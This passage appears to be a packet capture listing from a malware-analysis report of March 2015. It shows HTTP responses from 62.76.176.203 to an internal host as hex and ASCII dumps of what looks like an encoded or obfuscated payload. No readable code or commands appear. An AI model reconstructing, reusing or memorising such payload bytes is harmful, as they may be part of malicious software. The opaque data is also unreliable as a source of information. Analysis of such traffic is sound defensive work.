Data Ascii: 5.S019IM=6:=3"H; ,45369(7;+H ,H(6(J,)J0(W(OH,",0W@>+=H=!H<S W*I-,6L"AJAH6!J3?+@67HL7=(("3K9"-0H(@:M!1=9@LHN475-A3@A1)4*H0+9;0575=OM3H:
495
Mrz 4, 2015 14:54:14.948211908 MEZ80103262.76.176.203192.168.1.10Data Raw: 22 1f 2f 10 13 20 3c 4a 20 0e 2d 39 1d 2d 33 13 21 4a 12 4a 49 4d 48 4e 1b 0a 0a 1c 3f 21 3c 49 2d 17 2a 0f 11 3b 4b 4b 48 4b 12 4b 01 13 53 09 1f 4e 2e 28 11 22 3c 48 1c 3e 16 1f 15 49 0c 3a 1f 4c 12 48 57 31 31 19 13 37 28 4e 37 19 3c 4b 19 19
Data Ascii: "/ <J -9-3!JJIMHN?!<I-*;KKHKKSN.("<H>I:LHW117(N7<K),+@MI@(33J@>?NLO@<J75"9K(/:>O<I21)*H>ML()S<H1</NKAI)OJH7 A<K<@J;K2,JS5:I(J:7<.S4,KM,AA@"7I/=KW>=
497
Mrz 4, 2015 14:54:14.948216915 MEZ80103262.76.176.203192.168.1.10Data Raw: 10 35 3e 14 4b 1f 4c 10 39 0a 20 00 10 1f 0d 20 01 10 4d 4e 35 33 20 14 10 4b 34 3e 0d 10 09 2a 08 00 4b 36 10 4d 0c 4c 31 1f 31 31 2e 29 4b 32 10 1d 39 09 3d 1e 1c 39 2a 0f 3f 4d 10 33 12 21 3a 1d 2c 19 41 28 3f 41 10 2e 3f 32 41 1e 36 0f 4b 49
Data Ascii: 5>KL9 MN53 K4>*K6ML111.)K29=9*?M3!:,A(?A.?2A6KI?>09.</?*)4"MJ:@5JO,II>+))?L/@23"/"N?-:J7! 29799NI=O:=2*1JKW4*;AOM<4>(:)@K?25
498
Mrz 4, 2015 14:54:14.948220968 MEZ80103262.76.176.203192.168.1.10Data Raw: 4d 3a 3a 2c 4c 33 0d 0b 1b 00 2b 4b 01 2b 32 3a 16 31 39 1e 02 13 10 57 3f 34 0e 13 21 1d 3b 29 22 3a 33 2c 0d 1b 3b 0a 3c 1d 4d 34 41 08 40 4f 31 3d 1c 53 3c 29 0f 2b 0a 15 16 4f 4b 22 4a 4a 48 32 30 0a 17 4c 01 34 00 4e 49 2d 1c 4f 01 14 17 3c
Data Ascii: M::,L3+K+2:19W?4!;)":3,;<M4A@O1=S<)+OK"JJH20L4NI-O<H7"77=3-A!1390 ?4,!/<(-./!+3K2I7:*)(H*K4>K:36J/-?,!K!>J>":-7LH"6/S"?1-=)<LHL-6MH=-K5MMKM.*1SJ4@<.N2
500
Mrz 4, 2015 14:54:14.948344946 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 2d 15 15 48 19 33 1e 4b 2f 14 1d 0c 1e 1f 32 3f 0b 12 3e 17 4a 29 49 14 0f 0c 35 00 40 3f 3c 3d 3d 20 4f 09 0c 0e 4f 1f 1a 49 34 08 16 0b 31 17 3b 1f 48 1c 36 15 3a 57 39 00 0b 14 4a 16 34 02 0a 19 34 1e 30 1b 2d 32 37 2b 3e 09 19 39 1b 1f 11
Data Ascii: 5-H3K/2?>J)I5@?<== OOI41;H6:W9J440-27+>9; : >O0:0OW5A!*/2.)(NI,;316:2S*0A M7?I.*!7HSL3J65>":3(339AO+K.(61"-(*,M0>3/1>?:..16*WL<2AHW6,LL
501
Mrz 4, 2015 14:54:14.948349953 MEZ80103262.76.176.203192.168.1.10Data Raw: 08 0f 3d 3b 20 0e 4d 1b 31 57 1a 3b 0c 4b 00 35 19 29 0b 1c 08 2b 3b 35 16 13 13 22 3a 2d 1b 1c 3d 19 02 17 4b 41 29 3f 10 1c 1e 31 28 41 19 4c 33 02 30 16 1f 40 36 2e 41 2a 09 0b 0d 2f 4d 4a 14 29 15 3a 00 4f 49 20 1b 30 33 49 3a 09 0b 53 28 32
Data Ascii: =; M1W;K5)+;5":-=KA)?1(AL30@6.A*/MJ):OI 03I:S(2,:9=L.M4<6<NIMH(@);@12KL42L@J10!J*+9O@: <HAJ/J)=,;=6O*>7+).+)1==S2)SAJ3A*/4(L?7>"M"3231 97S6"
503
Mrz 4, 2015 14:54:14.948354006 MEZ80103262.76.176.203192.168.1.10Data Raw: 2d 2e 3d 30 0d 40 00 36 00 15 3f 34 20 1c 49 3b 01 34 4b 39 41 10 36 0c 1e 39 35 31 4b 1f 4f 22 1a 33 14 2e 0b 21 09 3e 08 2c 57 2b 57 2d 53 08 57 1b 48 11 41 0e 08 4e 31 1a 53 57 3b 10 11 3d 09 0e 17 39 37 0f 3f 08 0f 01 2e 09 33 13 08 3a 4b 41
Data Ascii: -.=0@6?4 I;4K9A6951KO"3.!>,W+W-SWHAN1SW;=97?.3:KA/!WM19!-0 S/+W)7**N00 0I"IIS?13AOL@-/M"!+ =OH"53;6L)O@>?L-3 I =7(J01O7!.,)SM=:0S=(3422;A,J?1(9,<<"J
504
Mrz 4, 2015 14:54:14.948398113 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 5555555555555555555555555555555555555555555555555555
505
Mrz 4, 2015 14:54:14.948523998 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 55555555555555555555555555555555555555555555555555555555555555.S:O1L492;)99999999999991"/(J>K!+)>O,*=WO0OSSH<LJ=735(1+7?0/()9@/?-7*A!S> -63HI7=J=J?.N2;A20?05
506
Mrz 4, 2015 14:54:14.948529005 MEZ80103262.76.176.203192.168.1.10Data Raw: 01 32 15 30 29 20 14 4a 1d 11 0d 0a 2e 0e 4a 3e 41 1f 13 3b 30 0a 22 21 0e 01 3f 3e 3e 3b 53 09 39 41 2b 3d 57 0e 3f 3f 4c 15 1c 17 35 1b 09 57 14 0b 4a 3d 39 3e 3c 39 2c 37 11 12 3b 2f 15 3e 36 48 3d 4b 09 57 2e 00 1b 2d 2f 3f 2e 2a 1a 1e 00 00
Data Ascii: 20) J.J>A;0"!?>>;S9A+=W??L5WJ=9><9,7;/>6H=KW.-/?.*6@;?07:9/)WJ=!/K0=>M>IL":M,K/?(<J?6;3*+.?>.)9:")/0L-*H:55+09K1N;<J?I/K A+??>24JKIO/=7:.?(A0!A-7-76KJO!+,=)
508
Mrz 4, 2015 14:54:14.948534966 MEZ80103262.76.176.203192.168.1.10Data Raw: 0c 21 29 2f 2a 1a 32 1b 40 2d 15 2d 00 1f 3b 3f 01 16 3d 14 1c 29 16 12 39 2e 22 1a 2b 16 3d 16 4a 1f 49 13 53 31 4a 0d 39 02 20 14 35 1b 49 13 41 3b 00 16 2a 1a 3d 08 40 2d 0d 08 0c 21 1a 10 2a 1a 28 35 0d 2a 17 11 2f 13 20 1c 4e 20 3d 16 1d 2a
Data Ascii: !)/*2@--;?=)9."+=JIS1J9 5IA;*=@-!*(5*/ N =*J,52>I1@-!/A 5KL!/.MM@-LA*AWM!*5/* ? =J+-=*)."S 5IASJ9N 5OL!.>.O"@-!!,=5K=A."!**=69,M"1
509
Mrz 4, 2015 14:54:14.948601961 MEZ80103262.76.176.203192.168.1.10Data Raw: 37 2d 4b 4c 41 53 2c 14 11 1f 13 16 1b 21 01 0b 53 1d 30 1e 08 34 13 08 13 2d 0d 14 37 31 4b 10 4e 1a 34 48 37 2d 4c 35 41 01 21 1f 12 1a 2f 2a 35 0b 11 0b 53 1e 20 1d 49 1e 29 0c 36 1a 4a 15 3e 31 4b 10 57 1a 31 13 1c 3e 3f 08 1b 21 1a 35 10 1a
Data Ascii: 7-KLAS,!S04-71KN4H7-L5A!/*5S I)6J>1KW1>?!5-6S09*1
509
Mrz 4, 2015 14:54:14.948755980 MEZ80103262.76.176.203192.168.1.10Data Raw: 4b 11 3b 0b 3d 14 0f 3e 3f 08 1e 21 21 40 12 1a 2f 01 1f 2d 16 4b 41 21 16 17 10 0d 49 13 37 2d 4a 53 3a 21 21 35 12 1a 2e 3a 35 2f 11 0b 53 19 1a 0c 10 1b 39 0c 36 2f 4a 13 41 31 4c 00 12 41 3d 14 39 4f 01 08 33 10 20 1c 2a 34 3d 0a 2f 2e 2b 15
Data Ascii: K;=>?!!@/-KA!I7-JS:!!5.:5/S96/JA1LA=9O3 *4=/.+?,,HH>?> A4:-KW!S0:5-JA=5A>"-W"M396JA?,9>?>064MH-!S36H-5AO.A0*5IA ,(-.M)KI5=->7!<>5AN!H;*.)K
511
Mrz 4, 2015 14:54:14.948760986 MEZ80103262.76.176.203192.168.1.10Data Raw: 0c 49 0c 21 1d 37 2a 1a 33 4a 10 1f 15 15 22 13 20 1d 49 16 3d 15 21 1f 15 15 3a 0c 09 1c 10 09 30 14 35 10 08 13 41 12 19 1c 10 13 37 22 40 2d 17 2e 0c 21 2b 12 16 1b 2d 14 29 2f 36 16 3c 28 15 1c 14 0a 30 49 02 29 4c 39 01 1f 0c 1b 22 1a 30 08
Data Ascii: I!7*3J" I=!:05A7"@-.!+-)/6<(0I)L9"07+*AH+W/=!AS)+-:.>:>+9(M59J?A!@2I:JW!"5!/W!/I)-K=W!)"-4-J5!!"H-A0>.5-MHN;"(-I6:35>:K3=L-O
512
Mrz 4, 2015 14:54:14.948765039 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 2e 21 0e 0b 1f 1d 02
Data Ascii: 55555555555555555555555555555555555555.!@9;)9999999999999:+-9O>?W"+= ONJ36I>.+L!/:"+2N:=30/+;:-:+"L+:+I0><,.S+IK>0,/,?/ 0S;/1+ A/*)
514
Mrz 4, 2015 14:54:14.948769093 MEZ80103262.76.176.203192.168.1.10Data Raw: 08 4d 22 29 39 11 0b 14 17 3e 3f 2e 31 49 2b 28 3b 36 13 12 19 10 41 34 3e 19 0f 1a 3a 2a 2c 1d 16 01 4d 2b 2d 01 1d 30 0f 49 3a 0d 10 3a 16 2e 13 00 15 21 35 4c 22 13 13 4c 14 16 13 01 34 21 3c 1b 53 4c 37 2a 31 1f 13 00 4d 34 0e 0f 41 4f 0d 31
Data Ascii: M")9>?.1I+(;6A4>:*,M+-0I::.!5L"L4!<SL7*1M4AO1=W<I7:N*WWK=;:<"MA15HJ00*S>=H:- -KJ0,4,N=S*H69-M1..9<> ;(J?@=O;M->:*2 3!95O(A@1L;LW:AA0+-LA!AAW++)
515
Mrz 4, 2015 14:54:14.948772907 MEZ80103262.76.176.203192.168.1.10Data Raw: 29 2d 0d 33 1a 0b 20 3b 32 4b 20 1b 29 17 4f 32 1b 16 22 22 1b 3d 2e 20 4a 0f 1e 22 57 08 39 20 1c 17 1d 2a 3f 0f 1f 00 36 17 02 21 4f 17 28 2e 16 0f 2f 0f 41 17 02 0a 20 22 34 36 41 08 32 02 3d 3b 14 0c 57 2a 49 35 36 2a 32 37 2d 4e 36 16 0e 1c
Data Ascii: )-3 ;2K )O2""=. J"W9 *?6!O(./A "46A2=;W*I56*27-N6H,6N2I)MA.! =W5+O?J.,"L96LNWAL-!;MKH6,*3;@?!<N6H"A*433,444:53-61!3JII-?46O)>.54<61=26,J-N,><<N3K=O(O"76(
517
Mrz 4, 2015 14:54:14.948918104 MEZ80103262.76.176.203192.168.1.10Data Raw: 2b 0e 15 53 2d 2b 3b 02 33 0e 4f 37 2c 12 1f 41 2b 2d 4e 48 2e 32 15 09 0d 14 37 1f 0b 3e 39 33 14 17 00 0d 53 2c 0a 4a 39 4c 2b 1e 35 00 09 0b 1c 2c 2b 4e 3f 39 1e 17 0d 17 4a 28 22 30 12 39 1e 49 39 0c 41 08 39 2a 3e 19 4c 48 15 40 41 2d 00 1c
Data Ascii: +S-+;3O7,A+-NH.27>93S,J9L+5,+N?9J("09I9A9*>LH@A-97!M49:6.K)M(I9<.5" >1:)MAA.NNA7N-H-9/?6* 2KM)>1@KSI6@2NH0,.?)(SJ3S63J;N)WA(*M+3-1+N0J53S:
517
Mrz 4, 2015 14:54:14.948928118 MEZ80103262.76.176.203192.168.1.10Data Raw: 0e 4e 13 2d 4a 0a 37 14 3a 1c 2f 00 1c 40 3d 21 49 15 0d 2e 35 13 2f 01 1d 02 02 1b 02 0a 57 3a 3c 1f 15 4e 4e 2c 1e 3c 00 3b 16 2c 48 57 3f 3a 32 36 35 1a 0c 3e 31 34 17 4d 0e 49 32 36 41 39 3b 28 32 4b 0e 40 02 3e 32 30 1b 12 00 41 15 1e 17 4d
Data Ascii: N-J7:/@=!I.5/W:<NN,<;,HW?:265>14MI26A9;(2K@>20AM=621O?LLJ232O>24LI26@ =1@?<22@9;? 0>K!,(4N36W(">,("(<9>5K=,(.<5M,7(A43LJN,=N555555555555555555555555555
519
Mrz 4, 2015 14:54:14.948934078 MEZ80103262.76.176.203192.168.1.10Data Raw: 0e 3c 3f 3e 39 2a 2e 4b 32 57 01 02 09 29 48 2d 4e 0b 15 13 39 3f 09 2d 32 57 2b 57 1d 33 12 14 4b 14 53 28 1a 34 2a 4e 3d 0f 3b 4f 4b 15 53 12 36 4b 2d 3f 00 4e 2b 3e 53 21 2b 1b 4d 3e 40 3d 2a 3b 31 12 01 1f 1e 30 19 33 41 39 3b 57 16 3a 49 33
Data Ascii: <?>9*.K2W)H-N9?-2W+W3KS(4*N=;OKS6K-?N+>S!+M>@=*;103A9;W:I3/L7,;"):I4?LJ3?/+I;W655H2K(;231.H312W<1H/:2<:*L?<"(,LH>M!965(,OI<H3=S,N+0M"=))LS9=2/JA/=27-3HM:
520
Mrz 4, 2015 14:54:14.949047089 MEZ80103262.76.176.203192.168.1.10Data Raw: 08 31 08 33 09 2d 16 4f 32 29 31 4a 4e 39 19 41 08 2d 19 09 32 08 1b 33 4e 15 1b 4e 3e 0b 1a 1c 37 21 4a 3f 0f 0f 4e 4e 08 1b 1a 0e 36 1a 11 2f 21 49 37 3b 4f 34 3f 1a 19 28 0c 20 0d 10 28 00 0b 53 15 3c 2a 16 0c 1d 17 1e 41 3e 08 15 0b 2d 4e 2a
Data Ascii: 13-O2)1JN9A-23NN>7!J?NN6/!I7;O4?( (S<*A>-N*2L=N@ 32/3I+/?*I?S"2;L,+.6HA?@4)@ 1( 2"L"//JA@5= 7402+6,?"W34+J2J.16AM!2?0!0J(>M+K+"
521
Mrz 4, 2015 14:54:14.949062109 MEZ80103262.76.176.203192.168.1.10Data Raw: 3c 2e 17 4f 41 22 1c 4d 10 11 1a 4f 39 21 4a 4e 0b 48 4f 20 3e 57 3e 3e 40 20 2c 3a 3f 3e 17 33 2f 09 19 4e 57 2b 0b 01 1d 48 2a 1c 0e 21 17 35 1a 2e 3a 41 28 2a 0b 2f 1d 30 2d 15 08 00 34 33 40 22 1f 0d 36 16 2f 1d 0d 0d 4a 17 0c 4b 0d 2f 3a 4d
Data Ascii: <.OA"MO9!JNHO >W>>@ ,:?>3/NW+H*!5.:A(*/0-43@"6/JK/:M@"AOA .ISI)! -7.;+ K=A5-6(=2)0AS469:0M(3AJ,A;97M0=.J@-S!O,-S@HML!K=JJSI6/!6K37<3K-L"74?/@-
523
Mrz 4, 2015 14:54:14.949067116 MEZ80103262.76.176.203192.168.1.10Data Raw: 0a 0d 35 30 35 09 31 30 0a 1a 1d 2f 4d 12 31 39 0d 29 1c 2c 0a 48 36 4e 2c 0b 1c 1c 0e 09 2f 3f 0e 49 1c 2b 32 1d 3e 32 08 28 1c 20 15 48 31 01 4a 0a 1b 3a 0a 0c 11 2e 4f 1f 1c 0d 4f 1a 34 1a 2b 28 1c 2c 0a 0f 0c 09 0b 0b 20 34 1b 1e 1c 0a 13 0f
Data Ascii: 50510/M19),H6N,/?I+2>2( H1J:.OO4+(, 4AIM2=7/39KKI+K7 5,7!!5,/./3I6/KK4W*+4;0L(.7(!<>(- /+<LL! /2.:?IN2K>3O3L0"4/>>+-";?91?J>1@K!+W
524
Mrz 4, 2015 14:54:14.949186087 MEZ80103262.76.176.203192.168.1.10Data Raw: 2a 1c 01 53 1b 2b 29 09 16 15 2c 4b 20 4d 4a 1e 31 1d 2d 01 19 15 2c 4a 2e 02 32 3e 0b 19 20 00 2b 1d 2f 49 10 3c 1c 3e 01 53 4e 3e 3b 19 0c 15 2a 1c 57 3f 1b 2b 22 1f 3b 1a 34 0d 4a 4d 4a 30 1d 1d 2d 01 4e 15 2c 4a 41 08 4a 3f 01 4b 16 00 2b 14
Data Ascii: *S+),K MJ1-,J.2> +/I<>SN>;*W?+";4JMJ0-N,JAJ?K+/I">)):;3*/+*;;"-*:-7,KJ=9-I1M>9 +4/I*W++;+S*J/,J>J?-,K,2>K+SJI0">:?;)*H?+-;-JMJ?--,JIJ0)+KJIA"
526
Mrz 4, 2015 14:54:14.949192047 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 555555555555555555555555555555555555555555555555555555.S:O59792;)9999999999999?WA.K4/"770HA;,6)0L!3,:2J>!2,>37)A.>4(),II6:!3I!/I*/09A3LW3+0H64"
527
Mrz 4, 2015 14:54:14.949196100 MEZ80103262.76.176.203192.168.1.10Data Raw: 20 14 36 41 33 1a 2f 33 49 16 0c 2c 0a 08 0c 4e 4f 02 0b 30 08 19 4b 08 4c 08 0d 2b 01 3c 11 31 3f 0e 17 11 33 11 30 33 09 19 2e 20 0a 28 1b 32 22 36 53 01 37 0d 0b 12 2b 0a 41 3c 14 4c 12 1e 13 4f 4e 2b 08 4f 2c 0b 21 1f 4b 49 35 2c 28 16 35 40
Data Ascii: 6A3/3I,NO0KL+<1?303. (2"6S7+A<LON+O,!KI5,(5@;0L4<<5)0W 361.6+J?HM4270)/0J3N2()7)J!"W3( :I46?3K!J641( ?A-0?KM1?(-+K@0=?9<.*3,>/3S7L3(M52/J(/KH-
529
Mrz 4, 2015 14:54:14.949201107 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 2e 21 0e 0b 1f 1d 01 13 3f 29 3b 29 13 39 39 39 39 39 39 39 39 39 39 39 39 39 3c 11 19 22 4f 3c 4a 0b 20 2a 0a 4f 36 2b 48 19 1a 34 4c 0b 4b 22 0c 4f 0c 2b 4a 19 4f 2c 4e 0c 20 10 0e 40 36 19 4c 1a 1a 1a 53 16 3b 0c 11 4c 53 2f 19 21 33 16 0e
Data Ascii: 5.!?);)9999999999999<"O<J *O6+H4LK"O+JO,N @6LS;LS/!3IM!?AMS3"3K>H,I,*/-I--.?J*+-LW;.O.L?72@"MAWM,=I79*?O?0>M73<-H0,-;.W76A>? +,0H-S@,/SJ-LM6J>?
529
Mrz 4, 2015 14:54:14.949295044 MEZ80103262.76.176.203192.168.1.10Data Raw: 4a 20 30 1b 02 19 3d 00 00 19 2d 22 10 1b 01 14 0f 34 1c 14 2a 19 15 2a 1f 1d 3d 2b 39 0c 15 3d 2b 36 19 2a 14 2a 49 09 0c 09 20 3e 29 1a 3d 48 4d 1c 13 3f 3f 3d 16 00 2f 1d 19 2d 0a 21 15 10 0e 2b 2c 02 2a 11 1a 34 4d 1c 4a 30 1e 09 2d 0f 15 22
Data Ascii: J 0=-"4**=+9=+6**I >)=HM??=/-!+,*4MJ0-"<=56*",?+@>?4++=KO/ M4@?";N<KJ=3.>N+,N!O?06J77N /5M+9:*I4M-*+@KAH4I36+,I<O5+.*,/;-/.0237:7-3
531
Mrz 4, 2015 14:54:14.949407101 MEZ80103262.76.176.203192.168.1.10Data Raw: 2b 3c 2f 49 10 4d 4d 3e 0b 15 20 00 2b 35 4a 2f 2a 1c 4a 4a 1b 2b 2b 02 08 4a 2c 4e 2a 1c 0f 0b 3d 1d 2d 01 4a 15 2c 4a 0c 08 4a 3f 29 1d 2d 02 53 21 1c 28 2a 1e 32 3e 0b 3b 20 00 2b 39 2f 49 10 17 1c 2f 1b 2b 21 11 3b 19 2d 4a 2a 1c 49 13 3a 41
Data Ascii: +</IMM> +5J/*JJ++J,N*=-J,JJ?)-S!(*2>; +9/I/+!;-J*I:A(",H2J0-,IM>+ +5>1-,J6J>-,;*">I:4.J>@ I.IIK4-,HA;0+,7SM.5A+HK:9S!/6+O(. <K:I-6J?4L/-=
533
Mrz 4, 2015 14:54:14.949412107 MEZ80103262.76.176.203192.168.1.10Data Raw: 2d 36 48 08 0b 00 48 49 2b 19 1b 11 0d 19 53 00 0b 16 13 2c 1a 0d 13 30 0b 0e 3e 2f 1b 3d 31 00 1d 19 2c 49 10 1c 4c 2d 02 11 13 41 2b 4a 02 49 02 02 3e 2d 01 11 49 00 2b 19 1b 11 15 1a 53 09 00 2a 1c 1d 1e 19 2b 4b 0b 01 32 4b 4b 12 12 10 2e 0f
Data Ascii: -6HHI+S,0>/=1,IL-A+JI>-I+S*+K2KK.!JI/?=+7/J=H/NL+"O<K-O M.-LI+9"=+!!NOIHK=/6 -,IA3.."M.@50 )6,.H+<*@?+.L.("7/MHO@
534
Mrz 4, 2015 14:54:14.949474096 MEZ80103262.76.176.203192.168.1.10Data Raw: 1f 15 0a 13 00 0e 4d 2f 09 28 2f 2b 3f 3f 3f 4c 33 2a 3c 33 4c 31 2f 32 20 4e 16 0b 39 20 1c 36 34 28 30 3b 3b 21 08 37 08 00 12 19 32 1a 1d 2c 48 35 2f 53 32 0f 3e 22 2d 2e 2d 01 36 1f 1b 14 35 14 08 57 08 09 12 49 21 49 3f 4d 35 34 33 09 4a 16
Data Ascii: M/(/+???L3*<3L1/2 N9 64(0;;!72,H5/S2>"-.-65WI!I?M543J,H9!??/ 9!!=IO)/>*I:@7-M,3N >-?-L@=M4//H-44W<5K/ -<1/>L?9H."4()M/)4A1=?!!(3<.M2=,O5W46J5=2/I@6W.W:/>4,7-L
535
Mrz 4, 2015 14:54:14.949541092 MEZ80103262.76.176.203192.168.1.10Data Raw: 2e 41 36 2b 33 32 17 17 0d 3d 3b 19 1e 0d 3d 28 14 13 22 1a 2e 3f 20 19 21 4d 16 3c 09 32 22 12 08 0f 08 21 20 49 29 37 30 3e 0f 1f 4a 4b 30 19 12 37 37 2e 13 17 1b 0d 14 15 4c 22 15 00 32 28 3d 35 33 57 08 3e 4b 21 2b 2c 40 22 49 31 19 29 2f 3f
Data Ascii: .A6+32=;=(".? !M<2"! I)70>JK077.L"2(=53W>K!+,@"I1)/? ?:KW"()@!+)1W)53OL!*WN2;JH!,:<9A.(!W73,:/J"<.S)K<.67MK62(32*?0LA634I.(*2KJW<H"+SMN,=K/?*!"";;:>5?*;1)H.I247?N2
537
Mrz 4, 2015 14:54:14.949546099 MEZ80103262.76.176.203192.168.1.10Data Raw: 4e 2c 2f 10 28 1d 10 28 29 4a 0e 32 19 29 2d 10 3c 2f 10 28 2d 0d 0e 21 4e 2e 2b 10 20 37 11 28 21 01 0f 08 33 2f 2f 10 1a 1d 11 28 1c 3b 0f 4e 33 20 2e 10 1e 0d 11 28 2a 2b 0f 34 33 2d 1d 10 2d 3b 11 28 2e 4a 0f 1c 19 22 0a 10 4b 0d 13 28 1a 11
Data Ascii: N,/(()J2)-</(-!N.+ 7(!3//(;N3 .(*+43--;(.J"K(A5(.;H?0/ /?!/W>6/>=-2M+L2?.N51(/J0SM@M1./?;!*A1"9/0<"SM14J?6391:?=A=+9+M/><O1J=2>M5/?9;?@050
538
Mrz 4, 2015 14:54:14.949634075 MEZ80103262.76.176.203192.168.1.10Data Raw: 32 53 1a 16 4d 4a 30 10 4d 3b 40 1d 40 3f 49 4d 09 08 57 11 00 15 17 3c 09 3a 4b 21 2f 49 32 12 3e 32 08 28 19 4e 16 0d 22 02 3f 1e 36 2b 22 00 08 3d 3e 13 20 08 4e 20 4c 37 3c 1a 17 3b 17 3b 4d 57 4e 1e 0f 4a 1b 28 4d 13 0c 16 3e 2f 3d 1c 31 4e
Data Ascii: 2SMJ0M;@@?IMW<:K!/I2>2(N"?6+"=> N L7<;;MWNJ(M>/=1NW?133ML5+?<HJ>K! 3,3(/=9*>MS!1*2M"<"2);(M@M!-29<MWSN92*:<I@21.1=,@AHJ(M/9 A+!M;43--"HS=1M(/? !6,>2!"0O
539
Mrz 4, 2015 14:54:14.949666023 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555
541
Mrz 4, 2015 14:54:14.949670076 MEZ80103262.76.176.203192.168.1.10Data Raw: 21 37 4d 1a 11 33 17 35 22 49 4b 1e 4c 53 1b 4c 22 29 09 14 31 22 41 1c 21 1a 4d 1b 29 3b 0a 22 4e 3e 1d 1f 1b 4e 1d 01 32 22 08 14 15 49 57 22 4c 15 34 1c 31 3f 0e 11 33 2c 3c 10 36 0d 10 30 32 08 1c 15 08 19 3c 1e 21 0f 17 1c 4d 37 01 17 09 1b
Data Ascii: !7M35"IKLSL")1"A!M);"N>N2"IW"L41?3,<602<!M7=+"H:+N>0!OW9J!/2>*/>K!:MH!2!/702H,*S?"(S92@61"2>2,?<!NI/H)2W*I0*"<J(JJ!/2K>*/>K!"*ML1 ;MS<?M">W*L
542
Mrz 4, 2015 14:54:14.950361967 MEZ80103262.76.176.203192.168.1.10Data Raw: 12 09 2b 1d 4d 36 48 1d 49 11 3d 1d 2f 41 49 09 20 15 1d 22 20 4d 01 15 4e 1d 2c 4d 4d 28 1f 1d 40 2b 3d 4d 2f 41 3c 09 2d 4e 1d 2d 20 41 10 16 3e 3f 2d 12 4d 2b 31 1e 31 15 3e 48 30 3c 4e 09 1f 3f 1e 4f 20 57 4e 16 37 15 2d 32 4d 29 1f 1e 39 2b
Data Ascii: +M6HI=/AI " MN,MM(@+=M/A<-N- A>?-M+11>H0<N?O WN7-2M)9+>2 :JJ/!:./.="-L,;?.0>-I*!:+/";0L 47?!0/:M"?0, 22=JL3O/ AA+1A 57,-6>?!M1?2 +2JL(74J!SMH;25K!:74!";3
543
Mrz 4, 2015 14:54:15.946860075 MEZ80103262.76.176.203192.168.1.10Data Raw: 33 0b 30 1d 15 12 31 19 1f 17 4f 15 1a 39 22 0e 57 1f 00 53 35 2c 16 1d 3b 0b 09 1d 16 16 31 1e 36 08 37 09 1b 34 32 00 1e 10 33 19 37 48 30 16 17 0b 0f 4e 17 30 31 1f 0a 08 2d 3b 1d 0e 4d 4e 4f 10 0a 3b 28 3e 30 17 2f 0c 3d 3f 08 29 21 14 17 08
Data Ascii: 301O9"WS5,;1674237H0N01-;MNO;(>0/=?)!KL"WW)6H--!W0NI9=<J?>I *(?3S<N/ON;S10HI,7O+=JW3 SJ3-O",6?>A0<I?OK@9(?-6M):S>*:=N/1:J!.9" @)?3 =
545
Mrz 4, 2015 14:54:15.946871042 MEZ80103262.76.176.203192.168.1.10Data Raw: 2b 41 2c 49 13 1c 4d 3e 4c 2b 20 01 2e 15 22 11 2a 4d 08 3d 2b 2b 20 02 53 15 1d 4e 2a 36 08 3d 0f 2b 20 0f 1a 15 29 0d 2a 2e 22 3e 4d 2b 20 49 14 15 14 11 2b 4a 22 34 2c 2b 20 4b 02 15 0d 37 2b 32 32 31 1d 2b 20 48 34 15 0e 0d 2b 29 4d 33 22 2b
Data Ascii: +A,IM>L+ ."*M=++ SN*6=+ )*.">M+ I+J"4,+ K7+221+ H4+)M3"+ N1K,7M5W+ L+,"2(@+ @3S."!+!=/ J+!"A1A+!!I3>+!A06+!>53<.+!-132N+!=;L<!+;-:J?/H;/J071;?OK7JH=0
546
Mrz 4, 2015 14:54:15.946873903 MEZ80103262.76.176.203192.168.1.10Data Raw: 34 19 2c 3f 19 1a 4d 08 17 1f 13 01 35 4e 2d 3f 1a 1c 4e 3e 0f 2b 2e 11 01 1a 21 3d 1c 09 37 3e 0b 09 2e 3a 2b 33 13 28 32 1e 4d 2c 21 1e 34 14 21 28 20 3a 3a 09 15 3e 21 1e 3d 2b 3e 1a 20 3e 00 09 4a 3f 31 1e 20 2b 3f 16 20 3f 10 09 4c 3f 4c 1e
Data Ascii: 4,?M5N-?N>+.!=7>.:+3(2M,!4!( ::>!=+> >J?1 +? ?L?L,*!*NMJ/+-)HH/*H0=-;/J*M-;/JO-KMJ*OM0*/J:A9?@ ;/H"?= /HMH?5 ;/I"J?- I/MMIS;-<,J+M3H<,L:A@ K3J7J K
547
